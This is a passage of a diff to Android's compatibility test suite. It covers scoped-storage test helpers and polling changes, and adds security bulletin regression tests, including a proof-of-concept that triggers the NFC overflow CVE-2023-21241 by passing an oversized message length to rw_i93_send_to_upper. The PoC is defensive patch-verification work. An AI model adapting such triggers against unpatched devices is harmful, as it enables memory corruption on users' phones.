-            }
-        } finally {
-            fileInDownloads.delete();
-            fileInRingtones.delete();
-        }
-    }
-
-    @Test
-    @SdkSuppress(minSdkVersion = 31, codeName = "S")
-    public void testTransformsDirFileOperations() throws Exception {
-        final String path = Environment.getExternalStorageDirectory() + "/" + TRANSFORMS_DIR;
-        final File file = new File(path);
-        assertThat(file.exists()).isTrue();
-        testTransformsDirCommon(file);
-    }
-
-    @Test
-    @SdkSuppress(minSdkVersion = 31, codeName = "S")
-    public void testTransformsSyntheticDirFileOperations() throws Exception {
-        final String path =
-                Environment.getExternalStorageDirectory() + "/" + TRANSFORMS_SYNTHETIC_DIR;
-        final File file = new File(path);
-        assertThat(file.exists()).isTrue();
-        testTransformsDirCommon(file);
-    }
-
-    @Test
-    @SdkSuppress(minSdkVersion = 31, codeName = "S")
-    public void testTransformsTranscodeDirFileOperations() throws Exception {
-        final String path =
-                Environment.getExternalStorageDirectory() + "/" + TRANSFORMS_TRANSCODE_DIR;
-        final File file = new File(path);
-        assertThat(file.exists()).isFalse();
-        testTransformsDirCommon(file);
-    }
-
-
-    /**
-     * Test mount modes for a platform signed app with ACCESS_MTP permission.
-     */
-    @Test
-    @SdkSuppress(minSdkVersion = 31, codeName = "S")
-    public void testMTPAppWithPlatformSignatureMountMode() throws Exception {
-        final String shellPackageName = "com.android.shell";
-        final int uid = getContext().getPackageManager().getPackageUid(shellPackageName, 0);
-        assertMountMode(shellPackageName, uid, StorageManager.MOUNT_MODE_EXTERNAL_ANDROID_WRITABLE);
-    }
-
-    /**
-     * Test mount modes for ExternalStorageProvider and DownloadsProvider.
-     */
-    @Test
-    @SdkSuppress(minSdkVersion = 31, codeName = "S")
-    public void testExternalStorageProviderAndDownloadsProvider() throws Exception {
-        // External Storage Provider and Downloads Provider are not supported on Wear OS
-        if (FeatureUtil.isWatch()) {
-            return;
-        }
-        assertWritableMountModeForProvider(DocumentsContract.EXTERNAL_STORAGE_PROVIDER_AUTHORITY);
-        assertWritableMountModeForProvider(DocumentsContract.DOWNLOADS_PROVIDER_AUTHORITY);
-    }
-
-    /**
-     * Test that normal apps cannot access Android/data and Android/obb dirs of other apps
-     */
-    @Test
-    public void testCantProbeOtherAppsExternalDirs() throws Exception {
-        // Before fuse-bpf, apps could see other app's external storage
-        boolean expectToSee = !isFuseBpfEnabled()
-                && mVolumeName.equals(MediaStore.VOLUME_EXTERNAL);
-        String message = expectToSee
-                ? "Expected to see other app's private dirs"
-                : "Expected not to see other app's private dirs";
-
-        assertWithMessage(message)
-                .that(fileExistsAs(APP_B_NO_PERMS, new File(getExternalFilesDir().getParent())))
-                .isEqualTo(expectToSee);
-
-        assertWithMessage(message)
-                .that(fileExistsAs(APP_B_NO_PERMS, getExternalObbDir()))
-                .isEqualTo(expectToSee);
-    }
-
-    private boolean isFuseBpfEnabled() throws Exception {
-        return executeShellCommand("getprop ro.fuse.bpf.is_running").trim().equals("true");
-    }
-
-    private void assertWritableMountModeForProvider(String auth) {
-        final ProviderInfo provider = getContext().getPackageManager()
-                .resolveContentProvider(auth, 0);
-        int uid = provider.applicationInfo.uid;
-        final String packageName = provider.applicationInfo.packageName;
-
-        assertMountMode(packageName, uid, StorageManager.MOUNT_MODE_EXTERNAL_ANDROID_WRITABLE);
-    }
-
-    private boolean canRenameFile(File file) {
-        return file.renameTo(new File(file.getAbsolutePath() + "test"));
-    }
-
-    private void testTransformsDirCommon(File file) throws Exception {
-        assertThat(file.delete()).isFalse();
-        assertThat(canRenameFile(file)).isFalse();
-
-        final File newFile = new File(file.getAbsolutePath(), "test");
-        assertThat(newFile.mkdir()).isFalse();
-        assertThrows(IOException.class, () -> newFile.createNewFile());
-    }
-
-    private void assertCanWriteAndRead(File file, byte[] data) throws Exception {
-        // Assert we can write to images/videos
-        try (FileOutputStream fos = new FileOutputStream(file)) {
-            fos.write(data);
-        }
-        assertFileContent(file, data);
-    }
-
-    /**
-     * Checks restrictions for opening pending and trashed files by different apps. Assumes that
-     * given {@code testApp} is already installed and has READ_EXTERNAL_STORAGE permission. This
-     * method doesn't uninstall given {@code testApp} at the end.
-     */
-    private void assertOpenPendingOrTrashed(Uri uri, boolean isImageOrVideo)
-            throws Exception {
-        final File pendingOrTrashedFile = new File(getFilePathFromUri(uri));
-
-        // App can open its pending or trashed file for read or write
-        assertTrue(canOpen(pendingOrTrashedFile, /*forWrite*/ false));
-        assertTrue(canOpen(pendingOrTrashedFile, /*forWrite*/ true));
-
-        // App with READ_EXTERNAL_STORAGE can't open other app's pending or trashed file for read or
-        // write
-        assertFalse(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ false));
-        assertFalse(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ true));
-
-        assertTrue(canOpenFileAs(APP_FM, pendingOrTrashedFile, /*forWrite*/ false));
-        assertTrue(canOpenFileAs(APP_FM, pendingOrTrashedFile, /*forWrite*/ true));
-
-        final int resAppUid =
-                getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(), 0);
-        try {
-            allowAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
-            if (isImageOrVideo) {
-                // System Gallery can open any pending or trashed image/video file for read or write
-                assertTrue(isMediaTypeImageOrVideo(pendingOrTrashedFile));
-                assertTrue(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ false));
-                assertTrue(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ true));
-            } else {
-                // System Gallery can't open other app's pending or trashed non-media file for read
-                // or write
-                assertFalse(isMediaTypeImageOrVideo(pendingOrTrashedFile));
-                assertFalse(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ false));
-                assertFalse(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ true));
-            }
-        } finally {
-            denyAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
-        }
-    }
-
-    /**
-     * Checks restrictions for listing pending and trashed files by different apps.
-     */
-    private void assertListPendingOrTrashed(Uri uri, File file, boolean isImageOrVideo)
-            throws Exception {
-        final String parentDirPath = file.getParent();
-        assertTrue(new File(parentDirPath).isDirectory());
-
-        final List<String> listedFileNames = Arrays.asList(new File(parentDirPath).list());
-        assertThat(listedFileNames).doesNotContain(file);
-
-        final File pendingOrTrashedFile = new File(getFilePathFromUri(uri));
-
-        assertThat(listedFileNames).contains(pendingOrTrashedFile.getName());
-
-        // App with READ_EXTERNAL_STORAGE can't see other app's pending or trashed file.
-        assertThat(listAs(APP_A_HAS_RES, parentDirPath)).doesNotContain(
-                pendingOrTrashedFile.getName());
-
-        final int resAppUid =
-                getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(), 0);
-        // File Manager can see any pending or trashed file.
-        assertThat(listAs(APP_FM, parentDirPath)).contains(pendingOrTrashedFile.getName());
-
-
-        try {
-            allowAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
-            if (isImageOrVideo) {
-                // System Gallery can see any pending or trashed image/video file.
-                assertTrue(isMediaTypeImageOrVideo(pendingOrTrashedFile));
-                assertThat(listAs(APP_A_HAS_RES, parentDirPath)).contains(
-                        pendingOrTrashedFile.getName());
-            } else {
-                // System Gallery can't see other app's pending or trashed non media file.
-                assertFalse(isMediaTypeImageOrVideo(pendingOrTrashedFile));
-                assertThat(listAs(APP_A_HAS_RES, parentDirPath))
-                        .doesNotContain(pendingOrTrashedFile.getName());
-            }
-        } finally {
-            denyAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
-        }
-    }
-
-    private Uri createPendingFile(File pendingFile) throws Exception {
-        assertTrue(pendingFile.createNewFile());
-
-        final ContentResolver cr = getContentResolver();
-        final Uri trashedFileUri = MediaStore.scanFile(cr, pendingFile);
-        assertNotNull(trashedFileUri);
-
-        final ContentValues values = new ContentValues();
-        values.put(MediaStore.MediaColumns.IS_PENDING, 1);
-        assertEquals(1, cr.update(trashedFileUri, values, Bundle.EMPTY));
-
-        return trashedFileUri;
-    }
-
-    private Uri createTrashedFile(File trashedFile) throws Exception {
-        assertTrue(trashedFile.createNewFile());
-
-        final ContentResolver cr = getContentResolver();
-        final Uri trashedFileUri = MediaStore.scanFile(cr, trashedFile);
-        assertNotNull(trashedFileUri);
-
-        trashFileAndAssert(trashedFileUri);
-        return trashedFileUri;
-    }
-
-    /**
-     * Gets file path corresponding to the db row pointed by {@code uri}. If {@code uri} points to
-     * multiple db rows, file path is extracted from the first db row of the database query result.
-     */
-    private String getFilePathFromUri(Uri uri) {
-        final String[] projection = new String[] {MediaStore.MediaColumns.DATA};
-        try (Cursor c = getContentResolver().query(uri, projection, null, null)) {
-            assertTrue(c.moveToFirst());
-            return c.getString(0);
-        }
-    }
-
-    private boolean isMediaTypeImageOrVideo(File file) {
-        return queryImageFile(file).getCount() == 1 || queryVideoFile(file).getCount() == 1;
-    }
-
-    private static void assertIsMediaTypeImage(File file) {
-        final Cursor c = queryImageFile(file);
-        assertEquals(1, c.getCount());
-    }
-
-    private static void assertNotMediaTypeImage(File file) {
-        final Cursor c = queryImageFile(file);
-        assertEquals(0, c.getCount());
-    }
-
-    private static void assertCantQueryFile(File file) {
-        assertThat(getFileUri(file)).isNull();
-        // Confirm that file exists in the database.
-        assertNotNull(MediaStore.scanFile(getContentResolver(), file));
-    }
-
-    private static void assertCreateFilesAs(TestApp testApp, File... files) throws Exception {
-        for (File file : files) {
-            assertFalse("File already exists: " + file, file.exists());
-            assertTrue("Failed to create file " + file + " on behalf of "
-                    + testApp.getPackageName(), createFileAs(testApp, file.getPath()));
-        }
-    }
-
-    /**
-     * Makes {@code testApp} create {@code files}. Publishes {@code files} by scanning the file.
-     * Pending files from FUSE are not visible to other apps via MediaStore APIs. We have to publish
-     * the file or make the file non-pending to make the file visible to other apps.
-     * <p>
-     * Note that this method can only be used for scannable files.
-     */
-    private static void assertCreatePublishedFilesAs(TestApp testApp, File... files)
-            throws Exception {
-        for (File file : files) {
-            assertTrue("Failed to create published file " + file + " on behalf of "
-                    + testApp.getPackageName(), createFileAs(testApp, file.getPath()));
-            assertNotNull("Failed to scan " + file,
-                    MediaStore.scanFile(getContentResolver(), file));
-        }
-    }
-
-
-    private static void deleteFilesAs(TestApp testApp, File... files) throws Exception {
-        for (File file : files) {
-            deleteFileAs(testApp, file.getPath());
-        }
-    }
-    private static void assertCanDeletePathsAs(TestApp testApp, String... filePaths)
-            throws Exception {
-        for (String path: filePaths) {
-            assertTrue("Failed to delete file " + path + " on behalf of "
-                    + testApp.getPackageName(), deleteFileAs(testApp, path));
-        }
-    }
-
-    private static void assertCantDeletePathsAs(TestApp testApp, String... filePaths)
-            throws Exception {
-        for (String path: filePaths) {
-            assertFalse("Deleting " + path + " on behalf of " + testApp.getPackageName()
-                    + " was expected to fail", deleteFileAs(testApp, path));
-        }
-    }
-
-    private void deleteFiles(File... files) {
-        for (File file: files) {
-            if (file == null) continue;
-            file.delete();
-        }
-    }
-
-    private void deletePaths(String... paths) {
-        for (String path: paths) {
-            if (path == null) continue;
-            new File(path).delete();
-        }
-    }
-
-    private static void assertCanDeletePaths(String... filePaths) {
-        for (String filePath : filePaths) {
-            assertTrue("Failed to delete " + filePath,
-                    new File(filePath).delete());
-        }
-    }
-
-    /**
-     * For possible values of {@code mode}, look at {@link android.content.ContentProvider#openFile}
-     */
-    private static void assertCanQueryAndOpenFile(File file, String mode) throws IOException {
-        // This call performs the query
-        final Uri fileUri = getFileUri(file);
-        // The query succeeds iff it didn't return null
-        assertThat(fileUri).isNotNull();
-        // Now we assert that we can open the file through ContentResolver
-        try (ParcelFileDescriptor pfd =
-                     getContentResolver().openFileDescriptor(fileUri, mode)) {
-            assertThat(pfd).isNotNull();
-        }
-    }
-
-    /**
-     * Assert that the last read in: read - write - read using {@code readFd} and {@code writeFd}
-     * see the last write. {@code readFd} and {@code writeFd} are fds pointing to the same
-     * underlying file on disk but may be derived from different mount points and in that case
-     * have separate VFS caches.
-     */
-    private void assertRWR(ParcelFileDescriptor readPfd, ParcelFileDescriptor writePfd)
-            throws Exception {
-        FileDescriptor readFd = readPfd.getFileDescriptor();
-        FileDescriptor writeFd = writePfd.getFileDescriptor();
-
-        byte[] readBuffer = new byte[10];
-        byte[] writeBuffer = new byte[10];
-        Arrays.fill(writeBuffer, (byte) 1);
-
-        // Write so readFd has content to read from next
-        Os.pwrite(readFd, readBuffer, 0, 10, 0);
-        // Read so readBuffer is in readFd's mount VFS cache
-        Os.pread(readFd, readBuffer, 0, 10, 0);
-
-        // Assert that readBuffer is zeroes
-        assertThat(readBuffer).isEqualTo(new byte[10]);
-
-        // Write so writeFd and readFd should now see writeBuffer
-        Os.pwrite(writeFd, writeBuffer, 0, 10, 0);
-
-        // Read so the last write can be verified on readFd
-        Os.pread(readFd, readBuffer, 0, 10, 0);
-
-        // Assert that the last write is indeed visible via readFd
-        assertThat(readBuffer).isEqualTo(writeBuffer);
-        assertThat(readPfd.getStatSize()).isEqualTo(writePfd.getStatSize());
-    }
-
-    private void assertStartsWith(String actual, String prefix) throws Exception {
-        String message = "String \"" + actual + "\" should start with \"" + prefix + "\"";
-
-        assertWithMessage(message).that(actual).startsWith(prefix);
-    }
-
-    private void assertLowerFsFd(ParcelFileDescriptor pfd) throws Exception {
-        String path = Os.readlink("/proc/self/fd/" + pfd.getFd());
-        String prefix = "/storage";
-
-        assertStartsWith(path, prefix);
-    }
-
-    private void assertUpperFsFd(ParcelFileDescriptor pfd) throws Exception {
-        String path = Os.readlink("/proc/self/fd/" + pfd.getFd());
-        String prefix = "/mnt/user";
-
-        assertStartsWith(path, prefix);
-    }
-
-    private void assertLowerFsFdWithPassthrough(final String path, ParcelFileDescriptor pfd)
-            throws Exception {
-        final ContentResolver resolver = getTargetContext().getContentResolver();
-        final Bundle res = resolver.call(MediaStore.AUTHORITY, "uses_fuse_passthrough", path, null);
-        boolean passthroughEnabled = res.getBoolean("uses_fuse_passthrough_result");
-
-        if (passthroughEnabled) {
-            assertUpperFsFd(pfd);
-        } else {
-            assertLowerFsFd(pfd);
-        }
-    }
-
-    private static void assertCanCreateFile(File file) throws IOException {
-        // If the file somehow managed to survive a previous run, then the test app was uninstalled
-        // and MediaProvider will remove our its ownership of the file, so it's not guaranteed that
-        // we can create nor delete it.
-        if (!file.exists()) {
-            assertThat(file.createNewFile()).isTrue();
-            assertThat(file.delete()).isTrue();
-        } else {
-            Log.w(TAG,
-                    "Couldn't assertCanCreateFile(" + file + ") because file existed prior to "
-                            + "running the test!");
-        }
-    }
-
-    private static void assertCannotReadOrWrite(File file)
-            throws Exception {
-        // App data directories have different 'x' bits on upgrading vs new devices. Let's not
-        // check 'exists', by passing checkExists=false. But assert this app cannot read or write
-        // the other app's file.
-        assertAccess(file, false /* value is moot */, false /* canRead */,
-                false /* canWrite */, false /* checkExists */);
-    }
-
-    private static void assertAccess(File file, boolean exists, boolean canRead, boolean canWrite)
-            throws Exception {
-        assertAccess(file, exists, canRead, canWrite, true /* checkExists */);
-    }
-
-    private static void assertAccess(File file, boolean exists, boolean canRead, boolean canWrite,
-            boolean checkExists) throws Exception {
-        if (checkExists) {
-            assertThat(file.exists()).isEqualTo(exists);
-        }
-        assertThat(file.canRead()).isEqualTo(canRead);
-        assertThat(file.canWrite()).isEqualTo(canWrite);
-        if (file.isDirectory()) {
-            if (checkExists) {
-                assertThat(file.canExecute()).isEqualTo(exists);
-            }
-        } else {
-            assertThat(file.canExecute()).isFalse(); // Filesytem is mounted with MS_NOEXEC
-        }
-
-        // Test some combinations of mask.
-        assertAccess(file, R_OK, canRead);
-        assertAccess(file, W_OK, canWrite);
-        assertAccess(file, R_OK | W_OK, canRead && canWrite);
-        assertAccess(file, W_OK | F_OK, canWrite);
-
-        if (checkExists) {
-            assertAccess(file, F_OK, exists);
-        }
-    }
-
-    private static void assertAccess(File file, int mask, boolean expected) throws Exception {
-        if (expected) {
-            assertThat(Os.access(file.getAbsolutePath(), mask)).isTrue();
-        } else {
-            assertThrows(ErrnoException.class, () -> {
-                Os.access(file.getAbsolutePath(), mask);
-            });
-        }
-    }
-
-    /**
-     * Creates a file at any location on storage (except external app data directory).
-     * The owner of the file is not the caller app.
-     */
-    private void createFileAsLegacyApp(File file) throws Exception {
-        // Use a legacy app to create this file, since it could be outside shared storage.
-        Log.d(TAG, "Creating file " + file);
-        assertThat(createFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath())).isTrue();
-    }
-
-    /**
-     * Creates a file at any location on storage (except external app data directory).
-     * The owner of the file is not the caller app.
-     */
-    private void createDirectoryAsLegacyApp(File file) throws Exception {
-        // Use a legacy app to create this file, since it could be outside shared storage.
-        Log.d(TAG, "Creating directory " + file);
-        // Create a tmp file in the target directory, this would also create the required
-        // directory, then delete the tmp file. It would leave only new directory.
-        assertThat(createFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath() + "/tmp.txt")).isTrue();
-        assertThat(deleteFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath() + "/tmp.txt")).isTrue();
-    }
-
-    /**
-     * Deletes a file or directory at any location on storage (except external app data directory).
-     */
-    private void deleteAsLegacyApp(File file) throws Exception {
-        // Use a legacy app to delete this file, since it could be outside shared storage.
-        Log.d(TAG, "Deleting file " + file);
-        deleteFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath());
-    }
-
-    /**
-     * Deletes the given file/directory recursively. If the file is a directory, then deletes all
-     * of its children (files or directories) recursively.
-     */
-    private void deleteRecursivelyAsLegacyApp(File dir) throws Exception {
-        // Use a legacy app to delete this directory, since it could be outside shared storage.
-        Log.d(TAG, "Deleting directory " + dir);
-        deleteRecursivelyAs(APP_D_LEGACY_HAS_RW, dir.getAbsolutePath());
-    }
-}
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index 21b863c..3de53e0 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -440,8 +440,10 @@
             throws Exception {
         final String actionName = QUERY_MEDIA_BY_URI_QUERY;
         final Bundle bundle = new Bundle();
-        for (String columnName : projection) {
-            bundle.putString(columnName, "");
+        if (projection != null) {
+            for (String columnName : projection) {
+                bundle.putString(columnName, "");
+            }
         }
 
         return getFromTestApp(testApp, uri, actionName, bundle).getBundle(actionName);
@@ -1155,12 +1157,7 @@
             // to keep rolling forward if we can't find our grant button
             final UiSelector grant = new UiSelector().textMatches("(?i)Allow");
             if (isWatch(inst.getContext().getPackageManager())) {
-                UiScrollable uiScrollable = new UiScrollable(new UiSelector().scrollable(true));
-                try {
-                    uiScrollable.scrollIntoView(grant);
-                } catch (UiObjectNotFoundException e) {
-                    // Scrolling can fail if the UI is not scrollable
-                }
+                scrollIntoView(grant);
             }
             final boolean grantExists = new UiObject(grant).waitForExists(timeout);
 
@@ -1177,6 +1174,9 @@
         } else {
             // fine the Deny button
             final UiSelector deny = new UiSelector().textMatches("(?i)Deny");
+            if (isWatch(inst.getContext().getPackageManager())) {
+                scrollIntoView(deny);
+            }
             final boolean denyExists = new UiObject(deny).waitForExists(timeout);
 
             assertThat(denyExists).isTrue();
@@ -1197,6 +1197,15 @@
         return packageManager.hasSystemFeature(feature);
     }
 
+    private static void scrollIntoView(UiSelector selector) {
+        UiScrollable uiScrollable = new UiScrollable(new UiSelector().scrollable(true));
+        try {
+            uiScrollable.scrollIntoView(selector);
+        } catch (UiObjectNotFoundException e) {
+            // Scrolling can fail if the UI is not scrollable
+        }
+    }
+
     /**
      * A functional interface representing an operation that takes no arguments,
      * returns no arguments and might throw an {@link Exception} of any kind.
diff --git a/hostsidetests/scopedstorage/redacturi/src/android/scopedstorage/cts/redacturi/RedactUriDeviceTest.java b/hostsidetests/scopedstorage/redacturi/src/android/scopedstorage/cts/redacturi/RedactUriDeviceTest.java
index b228dfe..ff8d505 100644
--- a/hostsidetests/scopedstorage/redacturi/src/android/scopedstorage/cts/redacturi/RedactUriDeviceTest.java
+++ b/hostsidetests/scopedstorage/redacturi/src/android/scopedstorage/cts/redacturi/RedactUriDeviceTest.java
@@ -40,6 +40,8 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
 
 import android.Manifest;
 import android.content.ContentValues;
@@ -58,6 +60,7 @@
 import androidx.test.filters.SdkSuppress;
 
 import com.android.cts.install.lib.TestApp;
+import com.android.modules.utils.build.SdkLevel;
 
 import org.junit.AfterClass;
 import org.junit.BeforeClass;
@@ -477,6 +480,7 @@
 
     @Test
     public void testOpenOnRedactedUri_readFuzzer() throws Exception {
+        assumeTrue(SdkLevel.isAtLeastV());
         final File img = stageFuzzerImageFileWithMetadata(FUZZER_HEIC_FILE_NAME);
         final Uri redactedUri = getRedactedUri(img);
         try {
@@ -583,4 +587,4 @@
 
         return img;
     }
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
index 023f4a0..234528c 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
@@ -57,7 +57,6 @@
 import static android.scopedstorage.cts.lib.TestUtils.getMusicDir;
 import static android.scopedstorage.cts.lib.TestUtils.getPicturesDir;
 import static android.scopedstorage.cts.lib.TestUtils.openWithMediaProvider;
-import static android.scopedstorage.cts.lib.TestUtils.pollForCondition;
 import static android.scopedstorage.cts.lib.TestUtils.pollForExternalStorageState;
 import static android.scopedstorage.cts.lib.TestUtils.pollForManageExternalStorageAllowed;
 import static android.scopedstorage.cts.lib.TestUtils.pollForPermission;
@@ -110,6 +109,8 @@
 import java.io.FileNotFoundException;
 import java.io.FileOutputStream;
 import java.io.IOException;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Supplier;
 
 /**
  * Runs the scoped storage tests on primary external storage.
@@ -165,6 +166,11 @@
     private static final TestApp APP_D_LEGACY_HAS_RW = new TestApp("TestAppDLegacy",
             "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppDLegacy.apk");
 
+    // Polling timeout in millis
+    private static final long POLLING_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(20);
+
+    // Polling sleep time in millis
+    private static final long POLLING_SLEEP_MILLIS = 100;
     @Before
     public void setup() throws Exception {
         PackageManager packageManager = getContext().getPackageManager();
@@ -174,8 +180,18 @@
         }
 
         pollForCondition(
-                () -> packageManager.resolveContentProvider(MediaStore.AUTHORITY, 0) != null,
-                "ContentProvider not available for authority media.");
+                () -> packageManager.resolveContentProvider(MediaStore.AUTHORITY, 0) != null);
+        assumeTrue(packageManager.resolveContentProvider(MediaStore.AUTHORITY, 0) != null);
+    }
+
+    public static void pollForCondition(Supplier<Boolean> condition)
+            throws Exception {
+        for (int i = 0; i < POLLING_TIMEOUT_MILLIS / POLLING_SLEEP_MILLIS; i++) {
+            if (condition.get()) {
+                return;
+            }
+            Thread.sleep(POLLING_SLEEP_MILLIS);
+        }
     }
 
     /**
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2023-21241/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2023-21241/Android.bp
new file mode 100644
index 0000000..01008b48
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2023-21241/Android.bp
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2023-21241",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    include_dirs: [
+        "cts/hostsidetests/securitybulletin/securityPatch/includes",
+        "system/nfc/src/nfc/include",
+        "system/nfc/src/include",
+        "system/nfc/src/gki/common",
+        "system/nfc/src/gki/ulinux",
+        ],
+    shared_libs: [
+        "libnfc-nci",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2023-21241/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2023-21241/poc.cpp
new file mode 100644
index 0000000..a235851
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2023-21241/poc.cpp
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+#include "nfc_types.h"
+#include "rw_int.h"
+#include "sys/types.h"
+#include "tags_defs.h"
+#include <stdint.h>
+#include <sys/sysinfo.h>
+#include <vector>
+
+void rw_i93_send_to_upper(NFC_HDR *p_resp);
+
+struct sysinfo memInfo;
+extern tRW_CB rw_cb;
+std ::vector<uint8_t> p_buff;
+std ::vector<uint8_t> v_pmsg;
+char enable_selective_overload = ENABLE_NONE;
+
+void poc_cback(tRW_EVENT /* event */, tRW_DATA * /* p_rw_data */) {}
+
+void *GKI_getbuf(uint16_t size) {
+  enable_selective_overload = ENABLE_ALL;
+  p_buff.resize(size);
+  enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+  return (void *)p_buff.data();
+}
+
+int main() {
+  // Check if there is structure mismatch between testing library and the
+  // library that is being tested
+  tNFC_ACTIVATE_DEVT p_activate_params = {};
+  p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+  p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+  RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+  FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+  GKI_init();
+  rw_init();
+
+  // find the free memory available
+  sysinfo(&memInfo);
+  unsigned long long freeVirtualMem = memInfo.freeram;
+  freeVirtualMem += memInfo.freeswap;
+  freeVirtualMem *= memInfo.mem_unit;
+  FAIL_CHECK((sizeof(NFC_HDR) + UINT16_MAX) < freeVirtualMem * 0.8);
+
+  // Call rw_i93_send_to_upper() with large value of p_msg->len
+  v_pmsg.resize(sizeof(NFC_HDR) + UINT16_MAX);
+  NFC_HDR *p_msg = (NFC_HDR *)v_pmsg.data();
+  rw_cb.tcb.i93.sent_cmd = I93_CMD_READ_SINGLE_BLOCK;
+  p_msg->offset = 0;
+  p_msg->len = UINT16_MAX;
+  rw_cb.p_cback = &poc_cback;
+  rw_i93_send_to_upper(p_msg);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2023-21276/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2023-21276/Android.bp
new file mode 100644
index 0000000..145ce5f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2023-21276/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2023-21276",
+    defaults: [
+        "cts_hostsidetests_securitybulletin_defaults"
+    ],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils_track",
+    ],
+    include_dirs: [
+        "frameworks/base/libs/androidfw/include/androidfw",
+    ],
+    shared_libs: [
+        "libandroidfw",
+        "libbinder",
+        "libutils",
+    ],
+    cflags: [
+        "-DCHECK_UNINITIALIZED_MEMORY",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2023-21276/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2023-21276/poc.cpp
new file mode 100644
index 0000000..42a2664
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2023-21276/poc.cpp
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
